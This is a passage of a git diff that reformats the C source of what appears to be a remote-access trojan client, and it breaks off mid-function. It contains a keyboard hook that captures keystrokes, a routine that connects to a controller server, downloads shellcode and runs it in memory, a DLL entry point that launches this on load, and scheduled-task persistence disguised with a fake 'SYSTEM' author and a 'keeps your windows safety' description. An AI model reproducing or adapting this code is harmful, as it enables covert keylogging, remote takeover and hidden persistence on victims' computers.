virtual key according to keyboard layout + GET_PROCESS_EASY(MapVirtualKeyExA); + char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout); - // tolower converts it to lowercase properly - if (!lowercase) - { - key = tolower(key); - } - output << char(key); - } + // tolower converts it to lowercase properly + if (!lowercase) { + key = tolower(key); + } + output << char(key); + } #endif - // instead of opening and closing file handlers every time, keep file open and flush. - if (NULL != _cllback) - { - _cllback(output.str().c_str(), _user); - } + // instead of opening and closing file handlers every time, keep file open and flush. + if (NULL != _cllback) { + _cllback(output.str().c_str(), _user); + } - return 0; + return 0; } // This is the callback function. Consider it the event that is raised when, in this case, // a key is pressed. LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam) { - if (nCode >= 0) - { - // the action is valid: HC_ACTION. - if (wParam == WM_KEYDOWN) - { - // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. - // This struct contains the data received by the hook callback. As you see in the callback function - // it contains the thing you will need: vkCode = virtual key code. - KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); + if (nCode >= 0) { + // the action is valid: HC_ACTION. + if (wParam == WM_KEYDOWN) { + // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. + // This struct contains the data received by the hook callback. As you see in the callback function + // it contains the thing you will need: vkCode = virtual key code. + KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); - // save to file - Save(kbdStruct.vkCode); - } - } + // save to file + Save(kbdStruct.vkCode); + } + } - // call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops - GET_PROCESS_EASY(CallNextHookEx); - return CallNextHookEx(_hook, nCode, wParam, lParam); + // call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops + GET_PROCESS_EASY(CallNextHookEx); + return CallNextHookEx(_hook, nCode, wParam, lParam); } // Set the hook and set it to use the callback function provided. bool SetHook(Callback callback, void* user) { - if (NULL != _hook) - return true; + if (NULL != _hook) + return true; - // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. - // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the - // function that sets and releases the hook. - GET_PROCESS_EASY(SetWindowsHookExA); - if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0))) - { - _cllback = callback; - _user = user; - return true; - } - return false; + // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. + // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the + // function that sets and releases the hook. + GET_PROCESS_EASY(SetWindowsHookExA); + if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0))) { + _cllback = callback; + _user = user; + return true; + } + return false; } // Release the hook. void ReleaseHook() { - if (NULL != _hook) - { - GET_PROCESS_EASY(UnhookWindowsHookEx); - UnhookWindowsHookEx(_hook); - _hook = NULL; - _cllback = NULL; - _user = NULL; - } + if (NULL != _hook) { + GET_PROCESS_EASY(UnhookWindowsHookEx); + UnhookWindowsHookEx(_hook); + _hook = NULL; + _cllback = NULL; + _user = NULL; + } } #endif diff --git a/client/main.c b/client/main.c index a6ba473..9740f56 100644 --- a/client/main.c +++ b/client/main.c @@ -14,7 +14,7 @@ #define Mprintf printf #define IsRelease 0 #else -#define Mprintf(format, ...) +#define Mprintf(format, ...) #define IsRelease 1 #endif @@ -22,288 +22,296 @@ #pragma pack(push, 4) typedef struct PkgHeader { - char flag[8]; - int totalLen; - int originLen; + char flag[8]; + int totalLen; + int originLen; } PkgHeader; -struct CONNECT_ADDRESS -{ - char szFlag[32]; // 标识 - char szServerIP[100]; // 主控IP - char szPort[8]; // 主控端口 - int iType; // 客户端类型 - bool bEncrypt; // 上线信息是否加密 - char szBuildDate[12]; // 构建日期(版本) - int iMultiOpen; // 支持打开多个 - int iStartup; // 启动方式 - int iHeaderEnc; // 数据加密类型 - char protoType; // 协议类型 - char runningType; // 运行方式 - char szReserved[44]; // 占位,使结构体占据300字节 - uint64_t parentHwnd; // 父进程窗口句柄 - uint64_t superAdmin; // 管理员主控ID - char pwdHash[64]; // 密码哈希 -}g_Server = { "Hello, World!", "127.0.0.1", "6543" }; +struct CONNECT_ADDRESS { + char szFlag[32]; // 标识 + char szServerIP[100]; // 主控IP + char szPort[8]; // 主控端口 + int iType; // 客户端类型 + bool bEncrypt; // 上线信息是否加密 + char szBuildDate[12]; // 构建日期(版本) + int iMultiOpen; // 支持打开多个 + int iStartup; // 启动方式 + int iHeaderEnc; // 数据加密类型 + char protoType; // 协议类型 + char runningType; // 运行方式 + char szGroupName[24]; // 分组名称 + char szReserved[20]; // 占位,使结构体占据300字节 + uint64_t parentHwnd; // 父进程窗口句柄 + uint64_t superAdmin; // 管理员主控ID + char pwdHash[64]; // 密码哈希 +} g_Server = { "Hello, World!", "127.0.0.1", "6543" }; #pragma pack(pop) typedef struct PluginParam { - char IP[100]; - int Port; - void* Exit; - void* User; -}PluginParam; + char IP[100]; + int Port; + void* Exit; + void* User; +} PluginParam; -PkgHeader MakePkgHeader(int originLen) { - PkgHeader header = { 0 }; - memcpy(header.flag, "Hello?", 6); - header.originLen = originLen; - header.totalLen = sizeof(PkgHeader) + originLen; - return header; +PkgHeader MakePkgHeader(int originLen) +{ + PkgHeader header = { 0 }; + memcpy(header.flag, "Hello?", 6); + header.originLen = originLen; + header.totalLen = sizeof(PkgHeader) + originLen; + return header; } int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize) { - struct sockaddr_in sa = {0}; - if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { - strncpy(outIpBuffer, hostName, bufferSize - 1); - outIpBuffer[bufferSize - 1] = '\0'; - return 0; - } + struct sockaddr_in sa = {0}; + if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { + strncpy(outIpBuffer, hostName, bufferSize - 1); + outIpBuffer[bufferSize - 1] = '\0'; + return 0; + } - struct addrinfo hints = {0}; - struct addrinfo* res = NULL; - hints.ai_family = AF_INET; // IPv4 only - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) { - return -1; - } + struct addrinfo hints = {0}; + struct addrinfo* res = NULL; + hints.ai_family = AF_INET; // IPv4 only + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) { + return -1; + } - struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr; - if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) { - freeaddrinfo(res); - return -2; - } + struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr; + if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) { + freeaddrinfo(res); + return -2; + } - freeaddrinfo(res); - return 0; + freeaddrinfo(res); + return 0; } -char* ReadRegistryString(const char* subKey, const char* valueName) { - HKEY hKey = NULL; - LONG ret = RegOpenKeyExA(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &hKey); - if (ret != ERROR_SUCCESS) - return NULL; +char* ReadRegistryString(const char* subKey, const char* valueName) +{ + HKEY hKey = NULL; + LONG ret = RegOpenKeyExA(HKEY_CURRENT_USER, subKey, 0, KEY_READ, &hKey); + if (ret != ERROR_SUCCESS) + return NULL; - DWORD dataType = 0; - DWORD dataSize = 1024; - char *data = (char*)malloc(dataSize+1); - if (data) { - ret = RegQueryValueExA(hKey, valueName, NULL, &dataType, (LPBYTE)data, &dataSize); - data[min(dataSize, 1024)] = '\0'; - if (ret != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) { - free(data); - data = NULL; - } - } - RegCloseKey(hKey); + DWORD dataType = 0; + DWORD dataSize = 1024; + char *data = (char*)malloc(dataSize+1); + if (data) { + ret = RegQueryValueExA(hKey, valueName, NULL, &dataType, (LPBYTE)data, &dataSize); + data[min(dataSize, 1024)] = '\0'; + if (ret != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) { + free(data); + data = NULL; + } + } + RegCloseKey(hKey); - return data; + return data; } -const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) { - if (!sIP || !sizeOut) return NULL; +const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) +{ + if (!sIP || !sizeOut) return NULL; - WSADATA wsaData; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - return NULL; + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) + return NULL; - char addr[100] = { 0 }; - strcpy(addr, sIP); - const char* path = "Software\\ServerD11\\settings"; - char* saved_ip = ReadRegistryString(path, "master"); - char* saved_port = ReadRegistryString(path, "port"); - char* valid_to = ReadRegistryString(path, "valid_to"); - int now = time(NULL), valid = valid_to ? atoi(valid_to) : 0; - if (now <= valid && saved_ip && *saved_ip && saved_port && *saved_port) { - strcpy(addr, saved_ip); - serverPort = atoi(saved_port); - } - free(saved_ip); saved_ip = NULL; - free(saved_port); saved_port = NULL; - free(valid_to); valid_to = NULL; + char addr[100] = { 0 }; + strcpy(addr, sIP); + const char* path = "Software\\ServerD11\\settings"; + char* saved_ip = ReadRegistryString(path, "master"); + char* saved_port = ReadRegistryString(path, "port"); + char* valid_to = ReadRegistryString(path, "valid_to"); + int now = time(NULL), valid = valid_to ? atoi(valid_to) : 0; + if (now <= valid && saved_ip && *saved_ip && saved_port && *saved_port) { + strcpy(addr, saved_ip); + serverPort = atoi(saved_port); + } + free(saved_ip); + saved_ip = NULL; + free(saved_port); + saved_port = NULL; + free(valid_to); + valid_to = NULL; - char serverIP[INET_ADDRSTRLEN] = { 0 }; - if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) { - Mprintf("Resolved IP: %s\n", serverIP); - } else { - Mprintf("Failed to resolve '%s'.\n", addr); - WSACleanup(); - return NULL; - } + char serverIP[INET_ADDRSTRLEN] = { 0 }; + if (GetIPAddress(addr, serverIP, sizeof(serverIP)) == 0) { + Mprintf("Resolved IP: %s\n", serverIP); + } else { + Mprintf("Failed to resolve '%s'.\n", addr); + WSACleanup(); + return NULL; + } - srand(time(NULL)); - const int bufSize = (8 * 1024 * 1024); - char* buffer = NULL; - BOOL isFirstConnect = TRUE; - int attemptCount = 0, requestCount = 0; - do { - if (!isFirstConnect) - Sleep(IsRelease ? rand()%120 * 1000 : 5000); - isFirstConnect = FALSE; - if (++attemptCount == 20) - PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518); - Mprintf("Connecting attempt #%d -> %s:%d \n", attemptCount, serverIP, serverPort); + srand(time(NULL)); + const int bufSize = (8 * 1024 * 1024); + char* buffer = NULL; + BOOL isFirstConnect = TRUE; + int attemptCount = 0, requestCount = 0; + do { + if (!isFirstConnect) + Sleep(IsRelease ? rand()%120 * 1000 : 5000); + isFirstConnect = FALSE; + if (++attemptCount == 20) + PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518); + Mprintf("Connecting attempt #%d -> %s:%d \n", attemptCount, serverIP, serverPort); - SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - if (clientSocket == INVALID_SOCKET) - continue; + SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (clientSocket == INVALID_SOCKET) + continue; - DWORD timeout = 30000; - setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)); + DWORD timeout = 30000; + setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout)); - struct sockaddr_in serverAddr = { 0 }; - serverAddr.sin_family = AF_INET; - serverAddr.sin_port = htons(serverPort); - serverAddr.sin_addr.s_addr = inet_addr(serverIP); - if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { - closesocket(clientSocket); - SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); - continue; - } + struct sockaddr_in serverAddr = { 0 }; + serverAddr.sin_family = AF_INET; + serverAddr.sin_port = htons(serverPort); + serverAddr.sin_addr.s_addr = inet_addr(serverIP); + if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) { + closesocket(clientSocket); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); + continue; + } - char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease }; - char req[sizeof(PkgHeader) + sizeof(command)] = { 0 }; - PkgHeader h = MakePkgHeader(sizeof(command)); - memcpy(req, &h, sizeof(PkgHeader)); - memcpy(req + sizeof(PkgHeader), command, sizeof(command)); - int bytesSent = send(clientSocket, req, sizeof(req), 0); - if (bytesSent != sizeof(req)) { - closesocket(clientSocket); - continue; - } + char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease }; + char req[sizeof(PkgHeader) + sizeof(command)] = { 0 }; + PkgHeader h = MakePkgHeader(sizeof(command)); + memcpy(req, &h, sizeof(PkgHeader)); + memcpy(req + sizeof(PkgHeader), command, sizeof(command)); + int bytesSent = send(clientSocket, req, sizeof(req), 0); + if (bytesSent != sizeof(req)) { + closesocket(clientSocket); + continue; + } - int totalReceived = 0; - buffer = buffer ? buffer : (char*)malloc(bufSize); - if (!buffer) { - closesocket(clientSocket); - continue; - } - if (requestCount < 3) { - requestCount++; - const int bufferSize = 16 * 1024; - time_t tm = time(NULL); - while (totalReceived < bufSize) { - int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived); - int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0); - if (bytesReceived <= 0) { - Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError()); - break; - } - totalReceived += bytesReceived; - if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) { - Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm)); - break; - } - } - } else { - closesocket(clientSocket); - break; - } + int totalReceived = 0; + buffer = buffer ? buffer : (char*)malloc(bufSize); + if (!buffer) { + closesocket(clientSocket); + continue; + } + if (requestCount < 3) { + requestCount++; + const int bufferSize = 16 * 1024; + time_t tm = time(NULL); + while (totalReceived < bufSize) { + int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived); + int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0); + if (bytesReceived <= 0) { + Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError()); + break; + } + totalReceived += bytesReceived; + if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) { + Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm)); + break; + } + } + } else { + closesocket(clientSocket); + break; + } - PkgHeader* header = (PkgHeader*)buffer; - if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) { - Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived); - closesocket(clientSocket); - continue; - } - unsigned char* ptr = buffer + sizeof(PkgHeader); - int size = 0; - BYTE cmd = ptr[0], type = ptr[1]; - memcpy(&size, ptr + 2, sizeof(int)); - *sizeOut = size; - if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) { - closesocket(clientSocket); - break; - } - closesocket(clientSocket); - WSACleanup(); - return buffer; - } while (1); + PkgHeader* header = (PkgHeader*)buffer; + if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) { + Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived); + closesocket(clientSocket); + continue; + } + unsigned char* ptr = buffer + sizeof(PkgHeader); + int size = 0; + BYTE cmd = ptr[0], type = ptr[1]; + memcpy(&size, ptr + 2, sizeof(int)); + *sizeOut = size; + if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) { + closesocket(clientSocket); + break; + } + closesocket(clientSocket); + WSACleanup(); + return buffer; + } while (1); - free(buffer); - WSACleanup(); - return NULL; + free(buffer); + WSACleanup(); + return NULL; } inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) { - for (int i = 0; i < iBufferSize - iKeySize; ++i){ - if (0 == memcmp(szBuffer + i, Key, iKeySize)){ - return i; - } - } - return -1; + for (int i = 0; i < iBufferSize - iKeySize; ++i) { + if (0 == memcmp(szBuffer + i, Key, iKeySize)) { + return i; + } + } + return -1; } #ifdef _WINDLL #define DLL_API __declspec(dllexport) -#else +#else #define DLL_API #endif -extern DLL_API DWORD WINAPI run(LPVOID param) { - char eventName[64] = { 0 }; - sprintf(eventName, "EVENT_%d", GetCurrentProcessId()); - HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName); - PluginParam* info = (PluginParam*)param; - int size = 0; - const char* dllData = ReceiveShellcode(info->IP, info->Port, &size); - if (dllData == NULL) return -1; - void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (NULL == execMem) return -2; - int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH)-1); - if (offset != -1) { - memcpy(dllData + offset, info->User, 64); - } - memcpy(execMem, dllData + 22, size); - free((void*)dllData); - DWORD oldProtect = 0; - if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3; - PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)0, (LPARAM)0); - ((void(*)())execMem)(); - return 0; +extern DLL_API DWORD WINAPI run(LPVOID param) +{ + char eventName[64] = { 0 }; + sprintf(eventName, "EVENT_%d", GetCurrentProcessId()); + HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName); + PluginParam* info = (PluginParam*)param; + int size = 0; + const char* dllData = ReceiveShellcode(info->IP, info->Port, &size); + if (dllData == NULL) return -1; + void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (NULL == execMem) return -2; + int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH)-1); + if (offset != -1) { + memcpy(dllData + offset, info->User, 64); + } + memcpy(execMem, dllData + 22, size); + free((void*)dllData); + DWORD oldProtect = 0; + if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3; + PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)0, (LPARAM)0); + ((void(*)())execMem)(); + return 0; } #ifndef _WINDLL -int main() { - assert(sizeof(struct CONNECT_ADDRESS) == 300); - PluginParam param = { 0 }; - strcpy(param.IP, g_Server.szServerIP); - param.Port = atoi(g_Server.szPort); - param.User = g_Server.pwdHash; - DWORD result = run(¶m); - Sleep(INFINITE); - return result; +int main() +{ + assert(sizeof(struct CONNECT_ADDRESS) == 300); + PluginParam param = { 0 }; + strcpy(param.IP, g_Server.szServerIP); + param.Port = atoi(g_Server.szPort); + param.User = g_Server.pwdHash; + DWORD result = run(¶m); + Sleep(INFINITE); + return result; } #else BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { - static HANDLE threadHandle = NULL; - if (fdwReason == DLL_PROCESS_ATTACH){ - static PluginParam param = { 0 }; - strcpy(param.IP, g_Server.szServerIP); - param.Port = atoi(g_Server.szPort); - param.User = g_Server.pwdHash; - threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL); - } else if (fdwReason == DLL_PROCESS_DETACH) { - if (threadHandle) TerminateThread(threadHandle, 0x20250619); - } - return TRUE; + static HANDLE threadHandle = NULL; + if (fdwReason == DLL_PROCESS_ATTACH) { + static PluginParam param = { 0 }; + strcpy(param.IP, g_Server.szServerIP); + param.Port = atoi(g_Server.szPort); + param.User = g_Server.pwdHash; + threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL); + } else if (fdwReason == DLL_PROCESS_DETACH) { + if (threadHandle) TerminateThread(threadHandle, 0x20250619); + } + return TRUE; } #endif diff --git a/client/proxy/ProxyManager.h b/client/proxy/ProxyManager.h index e282cc0..ccdbbb1 100644 --- a/client/proxy/ProxyManager.h +++ b/client/proxy/ProxyManager.h @@ -18,16 +18,19 @@ public: SOCKET* GetSocket(DWORD index,BOOL del=FALSE); CRITICAL_SECTION m_cs; int Threads; - void AddThread(int n = 1) { + void AddThread(int n = 1) + { CAutoLock L(m_cs); Threads += n; } - void Wait() { + void Wait() + { while (GetThread()) Sleep(50); } - int GetThread() { - CAutoLock L(m_cs); + int GetThread() + { + CAutoLock L(m_cs); return Threads; } }; diff --git a/client/reg_startup.c b/client/reg_startup.c index 08ebd05..35f33d7 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -20,323 +20,324 @@ #pragma comment(lib, "userenv.lib") #pragma comment(lib, "shlwapi.lib") -inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize) { - MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize); +inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize) +{ + MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize); } int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run) { - HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); - if (FAILED(hr)) { - Mprintf("޷ʼCOM⣬룺%ld\n", hr); - return 1; - } + HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); + if (FAILED(hr)) { + Mprintf("޷ʼCOM⣬룺%ld\n", hr); + return 1; + } - ITaskService* pService = NULL; - hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService); - if (FAILED(hr)) { - Mprintf("޷TaskSchedulerʵ룺%ld\n", hr); - CoUninitialize(); - return 2; - } + ITaskService* pService = NULL; + hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService); + if (FAILED(hr)) { + Mprintf("޷TaskSchedulerʵ룺%ld\n", hr); + CoUninitialize(); + return 2; + } - VARIANT empty; - VariantInit(&empty); - empty.vt = VT_EMPTY; - hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty); - if (FAILED(hr)) { - Mprintf("޷ӵƻ񣬴룺%ld\n", hr); - pService->lpVtbl->Release(pService); - CoUninitialize(); - return 3; - } + VARIANT empty; + VariantInit(&empty); + empty.vt = VT_EMPTY; + hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty); + if (FAILED(hr)) { + Mprintf("޷ӵƻ񣬴룺%ld\n", hr); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 3; + } - WCHAR wRootPath[MAX_PATH] = {0}; - ConvertCharToWChar("\\", wRootPath, MAX_PATH); + WCHAR wRootPath[MAX_PATH] = {0}; + ConvertCharToWChar("\\", wRootPath, MAX_PATH); - ITaskFolder* pRootFolder = NULL; - hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder); - if (FAILED(hr)) { - Mprintf("޷ȡƻļУ룺%ld\n", hr); - pService->lpVtbl->Release(pService); - CoUninitialize(); - return 4; - } + ITaskFolder* pRootFolder = NULL; + hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder); + if (FAILED(hr)) { + Mprintf("޷ȡƻļУ룺%ld\n", hr); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 4; + } - WCHAR wTaskName[MAX_PATH] = {0}; - ConvertCharToWChar(taskName, wTaskName, MAX_PATH); + WCHAR wTaskName[MAX_PATH] = {0}; + ConvertCharToWChar(taskName, wTaskName, MAX_PATH); - IRegisteredTask* pOldTask = NULL; - hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask); - if (SUCCEEDED(hr) && pOldTask != NULL) { - Mprintf("Ѵ: %s\n", taskName); - pOldTask->lpVtbl->Release(pOldTask); - if (check) { - pRootFolder->lpVtbl->Release(pRootFolder); - pService->lpVtbl->Release(pService); - CoUninitialize(); - return 0; - } - } + IRegisteredTask* pOldTask = NULL; + hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask); + if (SUCCEEDED(hr) && pOldTask != NULL) { + Mprintf("Ѵ: %s\n", taskName); + pOldTask->lpVtbl->Release(pOldTask); + if (check) { + pRootFolder->lpVtbl->Release(pRootFolder); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 0; + } + } - pRootFolder->lpVtbl->DeleteTask(pRootFolder, wTaskName, 0); + pRootFolder->lpVtbl->DeleteTask(pRootFolder, wTaskName, 0); - ITaskDefinition* pTask = NULL; - hr = pService->lpVtbl->NewTask(pService, 0, &pTask); - pRootFolder->lpVtbl->Release(pRootFolder); - if (FAILED(hr)) { - Mprintf("޷壬룺%ld\n", hr); - pService->lpVtbl->Release(pService); - CoUninitialize(); - return 5; - } + ITaskDefinition* pTask = NULL; + hr = pService->lpVtbl->NewTask(pService, 0, &pTask); + pRootFolder->lpVtbl->Release(pRootFolder); + if (FAILED(hr)) { + Mprintf("޷壬룺%ld\n", hr); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 5; + } - // - ITaskSettings* pSettings = NULL; - hr = pTask->lpVtbl->get_Settings(pTask, &pSettings); - if (SUCCEEDED(hr)) { - BSTR zeroTime = SysAllocString(L"PT0S"); - pSettings->lpVtbl->put_ExecutionTimeLimit(pSettings, zeroTime); - SysFreeString(zeroTime); - pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE); - pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE); - pSettings->lpVtbl->Release(pSettings); - } + // + ITaskSettings* pSettings = NULL; + hr = pTask->lpVtbl->get_Settings(pTask, &pSettings); + if (SUCCEEDED(hr)) { + BSTR zeroTime = SysAllocString(L"PT0S"); + pSettings->lpVtbl->put_ExecutionTimeLimit(pSettings, zeroTime); + SysFreeString(zeroTime); + pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE); + pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE); + pSettings->lpVtbl->Release(pSettings); + } - IRegistrationInfo* pRegInfo = NULL; - hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo); - if (SUCCEEDED(hr)) { - WCHAR temp[MAX_PATH] = {0}; - ConvertCharToWChar("SYSTEM", temp, MAX_PATH); - BSTR author = SysAllocString(temp); - pRegInfo->lpVtbl->put_Author(pRegInfo, author); - SysFreeString(author); - ConvertCharToWChar("v12.0.0.1", temp, MAX_PATH); - BSTR version = SysAllocString(temp); - pRegInfo->lpVtbl->put_Version(pRegInfo, version); - SysFreeString(version); - char d[] = {'T','h','i','s',' ','s','e','r','v','i','c','e',' ','k','e','e','p','s',' ', - 'y','o','u','r',' ','w','i','n','d','o','w','s',' ','s','a','f','e','t','y','.',0}; - ConvertCharToWChar(desc ? desc : d, temp, MAX_PATH); - BSTR bDesc = SysAllocString(temp); - pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc); - SysFreeString(bDesc); - pRegInfo->lpVtbl->Release(pRegInfo); - } + IRegistrationInfo* pRegInfo = NULL; + hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo); + if (SUCCEEDED(hr)) { + WCHAR temp[MAX_PATH] = {0}; + ConvertCharToWChar("SYSTEM", temp, MAX_PATH); + BSTR author = SysAllocString(temp); + pRegInfo->lpVtbl->put_Author(pRegInfo, author); + SysFreeString(author); + ConvertCharToWChar("v12.0.0.1", temp, MAX_PATH); + BSTR version = SysAllocString(temp); + pRegInfo->lpVtbl->put_Version(pRegInfo, version); + SysFreeString(version); + char d[] = {'T','h','i','s',' ','s','e','r','v','i','c','e',' ','k','e','e','p','s',' ', + 'y','o','u','r',' ','w','i','n','d','o','w','s',' ','s','a','f','e','t','y','.',0 + }; + ConvertCharToWChar(desc ? desc : d, temp, MAX_PATH); + BSTR bDesc = SysAllocString(temp); + pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc); + SysFreeString(bDesc); + pRegInfo->lpVtbl->Release(pRegInfo); + } - ITriggerCollection* pTriggerCollection = NULL; - hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection); - if (SUCCEEDED(hr)) { - ITrigger* pTrigger = NULL; - hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger); - pTriggerCollection->lpVtbl->Release(pTriggerCollection); - if (FAILED(hr)) { - Mprintf("޷񴥷룺%ld\n", hr); - pTask->lpVtbl->Release(pTask); - pService->lpVtbl->Release(pService); - CoUninitialize(); - return 6; - } - pTrigger->lpVtbl->Release(pTrigger); - } + ITriggerCollection* pTriggerCollection = NULL; + hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection); + if (SUCCEEDED(hr)) { + ITrigger* pTrigger = NULL; + hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger); + pTriggerCollection->lpVtbl->Release(pTriggerCollection); + if (FAILED(hr)) { + Mprintf("޷񴥷룺%ld\n", hr); + pTask->lpVtbl->Release(pTask); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 6; + } + pTrigger->lpVtbl->Release(pTrigger); + } - // ò - IActionCollection* pActionCollection = NULL; - hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection); - if (SUCCEEDED(hr)) { - IAction* pAction = NULL; - hr = pActionCollection->lpVtbl->Create(pActionCollection, 